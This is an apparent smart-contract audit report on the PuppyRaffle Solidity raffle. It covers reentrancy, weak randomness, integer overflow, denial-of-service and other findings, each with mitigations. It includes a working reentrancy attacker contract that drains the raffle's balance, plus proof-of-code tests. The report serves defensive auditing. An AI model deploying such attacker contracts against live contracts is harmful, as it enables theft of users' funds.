PuppyRaffle Audit Report

Version 1.0

Aegis Audits

October 31, 2024

4-Puppy-Raffle Protocol Audit Report

Brandon Norman

October 31st, 2024

Prepared by: [Aegis Audits] Lead Auditors: - Brandon Norman

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings

Protocol Summary

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Aegis Audits team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

- In Scope:

```
./src/
--> PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Auditing this code base was a good practice for finding actual attack vectors, such as reentrancy and denial of service attacks.

Issues found

severity	Number of issues found
Highs	3
Medium	3
Low	1
Gas	2
Informational	7
Total	16

Findings

High

[H-1] External function call before updating state in `PuppyRaffle::refund` allows for reentrancy attack.

Description: The `PuppyRaffle::refund` function calls the `sendValue` function before updating state. This is a vector for a reentrency attack.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
```

```
3       require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
4       require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
5
6
7   @>  payable(msg.sender).sendValue(entranceFee);
8   @>  players[playerIndex] = address(0);
9
10      emit RaffleRefunded(playerAddress);
11  }
```

if an attacker creates a contract with a `fallback()` or `receive()` function. they will be able to drain the `PuppyRaffle::Puppyraffle.sol` contract.

Impact: This vulnerability will risk the entrance fee of anyone who enters the raffle. Potentially allowing someone to steal all ether in the contract.

Proof of Concept: 1. user enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Place following test in `PuppyRaffleTest.t.sol` Code

```
1  function test_reentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7
8          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, 1 ether);
12
13         uint256 startingAttackContractBalance = address(
               attackerContract).balance;
14         uint256 startingContractBalance = address(puppyRaffle).balance;
15         vm.prank(attackUser);
16         attackerContract.attack{value: entranceFee}();
17
18         console.log("Starting Attack Contract Balance",
               startingAttackContractBalance);
19         console.log("Starting Contract Balance",
               startingContractBalance);
20
```

```
21          console.log("Ending Attack Contract Balance", address(
                attackerContract).balance);
22          console.log("Ending Contract Balance", address(puppyRaffle).
                balance);
23      }
```

and the following contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
```

```
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictably found number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: ANY user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solitity blog on prevrandao 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transactions if they dont like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector

Recommended Mitigation: Consider using a crypytographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows

```
1 uint64 myVar = type(uint64).max;
2 //18446744073709551615
3 myVar = myVar + 1
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanantly stuck in the contract.

Proof of Concept: 1. Conclude a raffle of 4 players. 2. Then have 89 players enter a new raffle, and conclude the raffle. 3. `totalfees` will be:

```
totalFees = totalFees + uint64(fee);
//which is
totalFees = 800000000000000000 + 17800000000000000000
//which will overflow to
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle:withdrawFees`

```
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw fees. Clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` statement will be impossible.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000
        console.log("starting total fees", startingTotalFees);
        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
           second raffle
        puppyRaffle.selectWinner();
```

```
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: Few possible mitigations 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` Library of OpenZeppelin for version `0.7.6` of solidity. Would still have a hard time with `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Multiple attack vectors with this final require. Recommended to remove it regardless.

Medium

[M-1] Looping through players area to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack. Incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` loops through player area to check for duplicates. The longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means that the gas costs for new players will be significantly cheaper than for those who enter the raffle later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  for (uint256 i = 0; i < players.length - 1; i++) {
2              for (uint256 j = i + 1; j < players.length; j++) {
3                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
4              }
5          }
```

Impact: Gas cost for raffle entrance will increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in queue.

Attack could make the `PuppyRaffle::entrants` array so large that nobody else enters. Guaranteeing themselves the win.

Proof of Concept: If two sets of 100 players enter, the gas costs will be as such. - 1st 100 players ~6252047 - 2nd 100 players ~18068137 Roughly three times as expensive.

Place following test in `PuppyRaffleTest.t.sol`

```
function test_DenialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd);
        console.log("Gas cost of first 100 players", gasUsedFirst);

        //2nd 100
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);
        console.log("Gas cost of Second 100 players", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: Few Recommendations. 1. Consider allowing Duplicates. Users can make new wallet addresses anways, so a duplicate check doesn't prevent the same person from entering multiple times. Only the same wallet address. 2. Consider using a mapping to check for duplicates. Would allow constant time lookup of whether a user exists or not.

```
    +    mapping(address => uint256) public addressToRaffleId;
    +    uint256 public raffleId = 0;
         .
         .
         .
         function enterRaffle(address[] memory newPlayers) public
            payable {
```

```
7               require(msg.value == entranceFee * newPlayers.length, "
                    PuppyRaffle: Must send enough to enter raffle");
8               for (uint256 i = 0; i < newPlayers.length; i++) {
9                   players.push(newPlayers[i]);
10  +               addressToRaffleId[newPlayers[i]] = raffleId;
11              }
12
13  -           // Check for duplicates
14  +           // Check for duplicates only from the new players
15  +           for (uint256 i = 0; i < newPlayers.length; i++) {
16  +               require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +           }
18  -           for (uint256 i = 0; i < players.length; i++) {
19  -               for (uint256 j = i + 1; j < players.length; j++) {
20  -                   require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -               }
22  -           }
23              emit RaffleEnter(newPlayers);
24          }
25      .
26      .
27      .
28          function selectWinner() external {
29  +           raffleId = raffleId + 1;
30              require(block.timestamp >= raffleStartTime + raffleDuration
                    , "PuppyRaffle: Raffle not over");
31          }
```

3. Could also use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/api/uti

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees.

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`. the value will be truncated.

```
1  function selectWinner() external {
2
3          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
4          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
5
6          uint256 winnerIndex =
7              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
```

```
8           address winner = players[winnerIndex];
9
10          uint256 totalAmountCollected = players.length * entranceFee;
11
12          uint256 prizePool = (totalAmountCollected * 80) / 100;
13          uint256 fee = (totalAmountCollected * 20) / 100;
14
15      @>  totalFees = totalFees + uint64(fee);
16
17          uint256 tokenId = totalSupply();
18
19          uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
                block.difficulty))) % 100;
20          if (rarity <= COMMON_RARITY) {
21              tokenIdToRarity[tokenId] = COMMON_RARITY;
22          } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
23              tokenIdToRarity[tokenId] = RARE_RARITY;
24          } else {
25              tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
26          }
27
28          delete players; // resetiing players array
29          raffleStartTime = block.timestamp;
30          previousWinner = winner;
31
32          (bool success,) = winner.call{value: prizePool}("");
33          require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
34          _safeMint(winner, tokenId);
35      }
```

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle proceeds with slightly more than 18 ETH worth of fees collected. 2. the line that casts `fee` as a `uint256` hits 3. `totalFees` is incorrectly updated with a lower amount

Replicate this in chisel by running the following

```
1 uint256 max = type(uint64).max;
2 uint256 fee = max + 1;
3 uint64(fee)
4 //prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a uint256 instead of a uint64, and remove the casting.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 function selectWinner() external {
```

```
4
5           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
6           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
7
8           uint256 winnerIndex =
9               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
10          address winner = players[winnerIndex];
11
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15
16 -         totalFees = totalFees + uint64(fee);
17 +         totalFees = totalFees + fee;
```

[M-3] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsibe for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to duplicate check, and a lottery reset could get challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money

Proof of Concept: 1. 10 Smart Contract wallets enter the lottery without a `fallback` or `receive` function 2. The lottery ends. 3. THe `selectWinner` function wouldn't work, even though lottery is over!

Recommended Mitigation: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payoutAmounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing players at index 0 to incorrectly think they have not entered the raffle

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0. However, according to the natspec it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle.And attemp to enter the raffle again, wasting gas.

Proof of Concept: 1. user enters raffle, they are first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: Revert if the player is not in the array, instead of returning 0. Could also reserve the 0th position. Return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] unchanged state variables should be declated constant or immutable.

Instances: -`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant` -`PuppyRaffle::legendaryImageUri` should be `constant`

Reading from storage is more expensive. ### [G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+           uint256 playersLength = players.length
-           for (uint256 i = 0; i < players.length - 1; i++) {
+           for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
```

```
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
7             }
8         }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2]: Using an Outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

See Slither documentation for more information. (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity)

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 213

```
1         feeAddress = newFeeAddress;
```

[I-4]`PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

it is best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic numbers" in `PuppyRaffle::selectWinner` is discouraged.

it can be confusing to see number literals in a codebase. Much more readable if numbers are given a name.

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, use something like

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.